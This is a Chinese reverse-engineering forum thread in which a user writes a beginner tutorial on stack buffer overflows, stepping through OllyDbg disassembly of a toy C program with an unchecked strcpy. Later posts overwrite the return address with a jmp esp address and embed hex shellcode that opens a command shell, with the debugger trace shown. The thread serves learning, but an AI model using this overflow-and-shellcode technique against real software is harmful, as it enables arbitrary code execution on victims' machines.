飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 8796|回复: 15

[原创] 初探缓冲区溢出

[复制链接]
  • TA的每日心情
    慵懒
    2019-3-12 17:25
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    发表于 2010-5-10 10:30:39 | 显示全部楼层 |阅读模式

    1.堆栈知识
    2.c语言的函数初探
    3.例子

    1.堆栈知识
    1.1栈是一种数据结构,有着各种操作比如(push(压栈),pop(弹栈),top(栈顶相当于汇编里的esp),base(栈底相当于汇编里的ebp),好比一摞扑克牌。

    PUSH:为栈增加一个元素的操作叫做PUSH,相当于在这摞扑克牌的最上面再放上一张。
    POP:从栈中取出一个元素的操作叫做POP,相当于从这摞扑克牌取出最上面的一张。
    TOP(栈顶相当于汇编里的esp):标识栈顶位置,并且是动态变化的,栈顶元素相当于扑克牌最上面一张,只有这张牌的花色是我们当前可以看到的。
    BASE(栈底相当于汇编里的ebp):标识栈底位置,它记录着扑克牌最下面一张的位置。BASE用于防止栈空后继续弹栈(牌发完时就不能再去揭牌了)。很明显,一般情况下,BASE是不会变动的。
    内存的栈区实际上指的就是系统栈。系统栈由系统自动维护,它用于实现高级语言中函数的调用。对于类似C语言这样的高级语言,系统栈的PUSH、POP等堆栈平衡细节是透明的。一般说来,只有在使用汇编语言开发程序的时候,才需要和它直接打交道。举个例子:我们去饭馆里吃饭,只管点菜(push)、付钱(esp)、你有多少钱(ebp)、吃饭(pop),吃饱了就走,不必理会切菜、洗菜等准备工作和洗碗、刷锅等扫尾工作,他的好处是快捷,但是自由度小。
    请看图用od载入记事本后的栈图:
    Snap3.gif

    然后我push(压栈)一次再看图:

    Snap5.gif

    如果不明白的话就跟帖询问吧。

    1.2 堆------留着以后学习
    2.c语言的函数初探
    1. int function1(int a,int b){

    2. return (a+b);
    3. }
    4. int function(int a,int b){

    5. return function1(a,b);
    6. }

    7. int main(int argc, char* argv[])
    8. {
    9. int i=1,j=0;
    10. function(i,j);
    11. return 0;
    12. }
    复制代码
    函数调用顺序是 main()---->function--->function1,下面看看汇编,他们是怎么传的参数(也就是栈操作),还有函数顺序如何改变。


    15:   int main(int argc, char* argv[])<------main()主函数
    16:   {
    004010B0   push        ebp
    004010B1   mov         ebp,esp
    004010B3   sub         esp,48h
    004010B6   push        ebx
    004010B7   push        esi
    004010B8   push        edi
    004010B9   lea         edi,[ebp-48h]
    004010BC   mov         ecx,12h
    004010C1   mov         eax,0CCCCCCCCh
    004010C6   rep stos    dword ptr [edi]
    17:
    18:       int i=1,j=0;
    004010C8   mov         dword ptr [ebp-4],1
    004010CF   mov         dword ptr [ebp-8],0
    19:
    20:
    21:           function(i,j);
    004010D6   mov         eax,dword ptr [ebp-8]
    004010D9   push        eax                  <------------- 参数0     
    004010DA   mov         ecx,dword ptr [ebp-4]
    004010DD   push        ecx                  <------------- 参数1
    004010DE   call        @ILT+10(function) (0040100f)<------ 调用函数function
    004010E3   add         esp,8
    现在我们看看function调用前堆栈的情况:
    EAX = 00000000 EBX = 7FFDF000
    ECX = 00000001 EDX = 003811A8
    ESI = 00000000 EDI = 0012FF80
    EIP = 004010DE ESP = 0012FF24
    EBP = 0012FF80 EFL = 00000212
    22:
    23:
    24:
    25:       return 0;
    004010E6   xor         eax,eax
    26:   }
    004010E8   pop         edi
    004010E9   pop         esi
    004010EA   pop         ebx
    004010EB   add         esp,48h
    004010EE   cmp         ebp,esp
    004010F0   call        __chkesp (00401200)
    004010F5   mov         esp,ebp
    004010F7   pop         ebp
    004010F8   ret

    我们进入函数function后堆栈情况:
    EAX = 00000000 EBX = 7FFDF000
    ECX = 00000001 EDX = 003811A8
    ESI = 00000000 EDI = 0012FF80
    EIP = 00401070 ESP = 0012FF20
    EBP = 0012FF80 EFL = 00000212
    10:   int function(int a,int b){
    00401070   push        ebp
    00401071   mov         ebp,esp
    00401073   sub         esp,40h
    00401076   push        ebx
    00401077   push        esi
    00401078   push        edi
    00401079   lea         edi,[ebp-40h]
    0040107C   mov         ecx,10h
    00401081   mov         eax,0CCCCCCCCh
    00401086   rep stos    dword ptr [edi]
    11:
    我们进入函数function1前堆栈情况:
    EAX = 00000000 EBX = 7FFDF000
    ECX = 00000001 EDX = 003811A8
    ESI = 00000000 EDI = 0012FF1C
    EIP = 00401020 ESP = 0012FEC4
    EBP = 0012FF1C EFL = 00000202
    12:       return function1(a,b);
    00401088   mov         eax,dword ptr [ebp+0Ch]
    0040108B   push        eax
    0040108C   mov         ecx,dword ptr [ebp+8]
    0040108F   push        ecx
    00401090   call        @ILT+15(function) (00401014)
    00401095   add         esp,8
    13:   }
    00401098   pop         edi
    00401099   pop         esi
    0040109A   pop         ebx
    0040109B   add         esp,40h
    0040109E   cmp         ebp,esp
    004010A0   call        __chkesp (00401200)
    004010A5   mov         esp,ebp
    004010A7   pop         ebp
    004010A8   ret

    我们进入函数function1后堆栈情况:
    EAX = 00000000 EBX = 7FFDF000
    ECX = 00000001 EDX = 003811A8
    ESI = 00000000 EDI = 0012FF1C
    EIP = 00401020 ESP = 0012FEC4
    EBP = 0012FF1C EFL = 00000202
    7:    int function1(int a,int b){
    00401020   push        ebp
    00401021   mov         ebp,esp
    00401023   sub         esp,40h
    00401026   push        ebx
    00401027   push        esi
    00401028   push        edi
    00401029   lea         edi,[ebp-40h]
    0040102C   mov         ecx,10h
    00401031   mov         eax,0CCCCCCCCh
    00401036   rep stos    dword ptr [edi]
    8:        return (a+b);
    00401038   mov         eax,dword ptr [ebp+8]
    0040103B   add         eax,dword ptr [ebp+0Ch]
    9:    }
    0040103E   pop         edi
    0040103F   pop         esi
    00401040   pop         ebx
    00401041   mov         esp,ebp
    00401043   pop         ebp
    00401044   ret                   <----------我们单步走到这里,然后观察堆栈情况:
    EAX = 00000001 EBX = 7FFDE000
    ECX = 00000000 EDX = 003811A8
    ESI = 00000009 EDI = 0012FF1C
    EIP = 00401044 ESP = 0012FEC4
    EBP = 0012FF1C EFL = 00000202

    现在我们想返回main()函数内应开怎么办呢?
    答案就是更改esp;因为ret等于pop IP.
    吧esp的内容改成004010E3
    004010DE   call        @ILT+10(function) (0040100f)
    004010E3   add         esp,8
    好了看看效果。
    Snap6.gif

    Snap7.gif



    等一下再改一下这里把esp改成00000000
    在看图:
    Snap8.gif


    好了如果把esp的内容改成我们所希望执行的代码,\(^o^)/~!!!!

    最后大家看的头都晕了,楼主你在说什么呀?
    我发个整体流程的图:
    Snap9.gif
    修改esp内容后,的流程图
    Snap10.gif



    3.例子
    1. #include "string.h"

    2. void function(char *str){
    3.         char buffer[10];
    4.         strcpy(buffer,str);
    5. }

    6. int main(int argc, char* argv[])
    7. {
    8.         char large_str[]={"abcdefghijklmnoprstu"};
    9.         function(large_str);//有问题的函数
    10.         return 0;
    11. }
    复制代码
    编译运行后出现提示如图:
    Snap11.gif
    论坛中缓冲区溢出蚊帐比较少,还请各位大侠指教,未完待续。


    [ 本帖最后由 whypro 于 2010-5-12 09:48 编辑 ]

    评分

    参与人数 1威望 +80 飘云币 +120 收起 理由
    Nisy + 80 + 120 期待文章后续的完善

    查看全部评分

    PYG19周年生日快乐!
  • TA的每日心情
    慵懒
    2019-3-12 17:25
  • 签到天数: 3 天

    [LV.2]偶尔看看I

     楼主| 发表于 2010-5-10 13:30:42 | 显示全部楼层

    谢谢各位老大给我的鼓励,继续写。
    缓冲区溢出好比你往杯子里倒啤酒,倒满了还要再倒肯定会溢出的呀!
    例子3中已经看到错误提示但是怎么利用呢这很关键,
    先来看看汇编吧:
    调用之前堆栈的情况:
    Snap2.gif Snap3.gif
    main()函数下断点:00401324  call 123.0040100A
    进入后再看一下堆栈:
    Snap4.gif Snap5.gif
    call指令相当于吧call下一条的地址入栈,然后跳转到子程序中去执行
    00401070 >/> \55            push ebp
    00401071  |.  8BEC          mov ebp,esp
    00401073  |.  83EC 58       sub esp,0x58      <-----给堆栈分配空间 0x58
    00401076  |.  53            push ebx
    00401077  |.  56            push esi
    00401078  |.  57            push edi
    00401079  |.  8D7D A8       lea edi,[local.22]
    0040107C  |.  B9 16000000   mov ecx,0x16
    00401081  |.  B8 CCCCCCCC   mov eax,0xCCCCCCCC             <------VC++Debug模式下把Stack上的变量初始化为0xcc,检查未初始化的问题
    00401086  |.  F3:AB         rep stos dword ptr es:[edi]
    00401088  |.  B9 05000000   mov ecx,0x5
    0040108D  |.  BE 6C2F4200   mov esi,123.00422F6C                                          ;  ASCII "abcdefghijklmnoprstu"
    00401092  |.  8D7D E8       lea edi,[local.6]
    00401095  |.  F3:A5         rep movs dword ptr es:[edi],dword ptr ds:[esi]
    00401097  |.  A4            movs byte ptr es:[edi],byte ptr ds:[esi]<-------字符串填充char large_str[]={"abcdefghijklmnoprstu"};
    00401098  |.  8D45 E8       lea eax,[local.6]
    0040109B  |.  50            push eax<-------字符串压栈,也就是函数的参数(参数就两种传递方式传值和传地址),这个是什么方式呢?
    再来看看堆栈:
    Snap6.gif Snap7.gif
    0040109C  |.  E8 64FFFFFF   call 123.00401005                      <------function(large_str);<-----------------有问题的函数
    004010A1  |.  83C4 04       add esp,0x4                           
    004010A4  |.  33C0          xor eax,eax
    004010A6  |.  5F            pop edi
    004010A7  |.  5E            pop esi
    004010A8  |.  5B            pop ebx
    004010A9  |.  83C4 58       add esp,0x58                            <------------  堆栈平衡 0x58,用完了就释放,非常便捷。
    004010AC  |.  3BEC          cmp ebp,esp                        
    004010AE  |.  E8 4D010000   call 123._chkespleBufferstringsWtetApage       <--------------------Debug模式下Stack对ESP的检查,有兴趣自己跟一下
    004010B3  |.  8BE5          mov esp,ebp                                 
    004010B5  |.  5D            pop ebp
    004010B6  \.  C3            retn


    下面我们来到0040109C  |.  E8 64FFFFFF   call 123.00401005                      <-----------------有问题的函数
    进入函数后看一下堆栈:
    Snap8.gif Snap9.gif
    00401020 >/> \55            push ebp
    00401021  |.  8BEC          mov ebp,esp
    00401023  |.  83EC 4C       sub esp,0x4C  <-----分配堆栈空间
    00401026  |.  53            push ebx
    00401027  |.  56            push esi
    00401028  |.  57            push edi
    00401029  |.  8D7D B4       lea edi,[local.19]
    0040102C  |.  B9 13000000   mov ecx,0x13
    00401031  |.  B8 CCCCCCCC   mov eax,0xCCCCCCCC<--------char buffer[10];初始化
    00401036  |.  F3:AB         rep stos dword ptr es:[edi]
    00401038  |.  8B45 08       mov eax,[arg.1]
    0040103B  |.  50            push eax
    0040103C  |.  8D4D F4       lea ecx,[local.3]
    0040103F  |.  51            push ecx
    00401040  |.  E8 CB000000   call 123.strcpysgzeHeaderListle_pages<---------strcpy(buffer,str);执行拷贝
    00401045  |.  83C4 08       add esp,0x8
    00401048  |.  5F            pop edi
    00401049  |.  5E            pop esi
    0040104A  |.  5B            pop ebx
    0040104B  |.  83C4 4C       add esp,0x4C
    0040104E  |.  3BEC          cmp ebp,esp<---------------发现ebp,esp被改写

    esp=0012FF10, (ASCII "mnoprstu")
    ebp=0012FF10, (ASCII "mnoprstu")

    00401050  |.  E8 AB010000   call 123._chkespleBufferstringsWtetApage
    00401055  |.  8BE5          mov esp,ebp
    00401057  |.  5D            pop ebp
    00401058  \.  C3            retn
    提醒一下retn相当于 把esp的内容给eip 然后执行eip
    返回时的情况再看看
    Snap10.gif Snap11.gif
    好的我们继续执行,看看效果。
    Snap12.gif
    这回我们改一下程序
    1. #include "string.h"

    2. void function(char *str){
    3.         char buffer[10];
    4.         strcpy(buffer,str);
    5. }

    6. int main(int argc, char* argv[])
    7. {
    8.         char large_str[]={"abcdefghijklmnop\x12\x45\xfa\x7f"};
    9.         function(large_str);
    10.         return 0;
    11. }
    复制代码


    [ 本帖最后由 whypro 于 2010-5-12 09:49 编辑 ]
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2010-5-11 14:59:53 | 显示全部楼层
    昨天看了下文章 笔记做的很详细 描述了程序运行时候堆栈操作的基本情况

    可以技术深入 有兴趣的话 可以找本缓冲区溢出的书籍来丰富一下 期待 ~
    PYG19周年生日快乐!
  • TA的每日心情

    2017-7-19 15:45
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2010-5-11 15:06:28 | 显示全部楼层
    学习下/:good
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2010-5-11 17:53:50 | 显示全部楼层
    学习,缓冲区溢出应该也能应用到crack上!
    PYG19周年生日快乐!
  • TA的每日心情
    开心
    2017-10-25 13:07
  • 签到天数: 15 天

    [LV.4]偶尔看看III

    发表于 2010-5-11 18:29:42 | 显示全部楼层
    /:good  膜拜
    PYG19周年生日快乐!
  • TA的每日心情
    慵懒
    2019-4-26 10:19
  • 签到天数: 14 天

    [LV.3]偶尔看看II

    发表于 2010-5-11 21:54:09 | 显示全部楼层
    很NB!有时间学习下/:good /:018
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2010-5-12 00:59:21 | 显示全部楼层
    毅力不是一般的大,过段时间就可以成才了 ,膜拜未来的大牛
    PYG19周年生日快乐!
  • TA的每日心情
    慵懒
    2019-3-12 17:25
  • 签到天数: 3 天

    [LV.2]偶尔看看I

     楼主| 发表于 2010-5-12 09:43:53 | 显示全部楼层
    用od载入,来到上次出错的位置
    00401020 >/> \55            push ebp
    00401021  |.  8BEC          mov ebp,esp
    00401023  |.  83EC 4C       sub esp,0x4C
    00401026  |.  53            push ebx
    00401027  |.  56            push esi
    00401028  |.  57            push edi
    00401029  |.  8D7D B4       lea edi,[local.19]
    0040102C  |.  B9 13000000   mov ecx,0x13
    00401031  |.  B8 CCCCCCCC   mov eax,0xCCCCCCCC
    00401036  |.  F3:AB         rep stos dword ptr es:[edi]
    00401038  |.  8B45 08       mov eax,[arg.1]
    0040103B  |.  50            push eax
    0040103C  |.  8D4D F4       lea ecx,[local.3]
    0040103F  |.  51            push ecx
    00401040  |.  E8 CB000000   call 123.strcpysgzeHeaderListle_pages
    00401045  |.  83C4 08       add esp,0x8
    00401048  |.  5F            pop edi
    00401049  |.  5E            pop esi
    0040104A  |.  5B            pop ebx
    0040104B  |.  83C4 4C       add esp,0x4C
    0040104E  |.  3BEC          cmp ebp,esp
    00401050  |.  E8 AB010000   call 123._chkespleBufferstringsWtetApage
    00401055  |.  8BE5          mov esp,ebp
    00401057  |.  5D            pop ebp
    00401058  \.  C3            retn               <-----来到这里
    看一下堆栈,ESP已经变成0012FF14-->7FFA4512
    正好是我们刚才改的那个值\x12\x45\xfa\x7f。看来我们输入的字符串直接可以影响函数的运行。/:08
    Snap13.gif Snap14.gif
    下面我再改一下输入的字符串
    1. #include "string.h"

    2. void function(char *str){
    3.         char buffer[10];
    4.         strcpy(buffer,str);
    5. }

    6. int main(int argc, char* argv[])
    7. {
    8.         char large_str[]={"abcdefghijklmnop\x12\x45\xfa\x7f"
    9.             "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
    10.                 "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
    11.                 "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
    12.                 "\x77\x1d\x80\x7c"
    13.                 "\x52\x8D\x45\xF4\x50\xFF\x55\xF0"
    14.                 "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
    15.                 "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
    16.                 "\x50\xB8"
    17.                 "\xc7\x93\xbf\x77"
    18.                 "\xFF\xD0"
    19.                 "\x83\xC4\x12\x5D"};
    20.         function(large_str);
    21.         return 0;
    22. }
    复制代码

    [ 本帖最后由 whypro 于 2010-5-12 10:15 编辑 ]
    PYG19周年生日快乐!
  • TA的每日心情
    慵懒
    2019-3-12 17:25
  • 签到天数: 3 天

    [LV.2]偶尔看看I

     楼主| 发表于 2010-5-12 09:54:58 | 显示全部楼层
    上一楼运行后结果如图所示:
    Snap15.gif
    我们用输入的字符串打开了一个cmd窗口/:17
    好了我们来分析一下
    00401020 >/> \55            push ebp
    00401021  |.  8BEC          mov ebp,esp
    00401023  |.  83EC 4C       sub esp,0x4C
    00401026  |.  53            push ebx
    00401027  |.  56            push esi
    00401028  |.  57            push edi
    00401029  |.  8D7D B4       lea edi,[local.19]
    0040102C  |.  B9 13000000   mov ecx,0x13
    00401031  |.  B8 CCCCCCCC   mov eax,0xCCCCCCCC
    00401036  |.  F3:AB         rep stos dword ptr es:[edi]
    00401038  |.  8B45 08       mov eax,[arg.1]
    0040103B  |.  50            push eax
    0040103C  |.  8D4D F4       lea ecx,[local.3]
    0040103F  |.  51            push ecx
    00401040  |.  E8 CB000000   call 123.strcpysgzeHeaderListle_pages
    00401045  |.  83C4 08       add esp,0x8
    00401048  |.  5F            pop edi
    00401049  |.  5E            pop esi
    0040104A  |.  5B            pop ebx
    0040104B  |.  83C4 4C       add esp,0x4C
    0040104E  |.  3BEC          cmp ebp,esp
    00401050  |.  E8 AB010000   call 123._chkespleBufferstringsWtetApage
    00401055  |.  8BE5          mov esp,ebp
    00401057  |.  5D            pop ebp
    00401058  \.  C3            retn             <-----来到这里

    提醒一下retn相当于 把esp的内容给eip 然后执行eip
    观察堆栈:
    Snap16.gif Snap17.gif

    我们继续运行来到这里
    7FFA4512  - FFE4            jmp esp

    看一下堆栈情况:
    Snap18.gif Snap19.gif

    然后来到这里:
    0012FEAC    55              push    ebp
    0012FEAD    8BEC            mov     ebp, esp
    0012FEAF    33C0            xor     eax, eax
    0012FEB1    50              push    eax
    0012FEB2    50              push    eax
    0012FEB3    50              push    eax
    0012FEB4    C645 F4 4D      mov     byte ptr [ebp-C], 4D
    0012FEB8    C645 F5 53      mov     byte ptr [ebp-B], 53
    0012FEBC    C645 F6 56      mov     byte ptr [ebp-A], 56
    0012FEC0    C645 F7 43      mov     byte ptr [ebp-9], 43
    0012FEC4    C645 F8 52      mov     byte ptr [ebp-8], 52
    0012FEC8    C645 F9 54      mov     byte ptr [ebp-7], 54
    0012FECC    C645 FA 2E      mov     byte ptr [ebp-6], 2E
    0012FED0    C645 FB 44      mov     byte ptr [ebp-5], 44
    0012FED4    C645 FC 4C      mov     byte ptr [ebp-4], 4C
    0012FED8    C645 FD 4C      mov     byte ptr [ebp-3], 4C
    0012FEDC    BA 771D807C     mov     edx, 7C801D77
    0012FEE1    52              push    edx
    0012FEE2    8D45 F4         lea     eax, dword ptr [ebp-C]
    0012FEE5    50              push    eax
    0012FEE6    FF55 F0         call    dword ptr [ebp-10]
    0012FEE9    55              push    ebp
    0012FEEA    8BEC            mov     ebp, esp
    0012FEEC    83EC 2C         sub     esp, 2C
    0012FEEF    B8 636F6D6D     mov     eax, 6D6D6F63
    0012FEF4    8945 F4         mov     dword ptr [ebp-C], eax
    0012FEF7    B8 616E642E     mov     eax, 2E646E61
    0012FEFC    8945 F8         mov     dword ptr [ebp-8], eax
    0012FEFF    B8 636F6D22     mov     eax, 226D6F63
    0012FF04    8945 FC         mov     dword ptr [ebp-4], eax
    0012FF07    33D2            xor     edx, edx
    0012FF09    8855 FF         mov     byte ptr [ebp-1], dl
    0012FF0C    8D45 F4         lea     eax, dword ptr [ebp-C]
    0012FF0F    50              push    eax
    0012FF10    B8 C793BF77     mov     eax, 77BF93C7
    0012FF15    FFD0            call    eax

    未完成,期待后续完工!

    [ 本帖最后由 whypro 于 2010-5-12 10:38 编辑 ]
    PYG19周年生日快乐!
    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表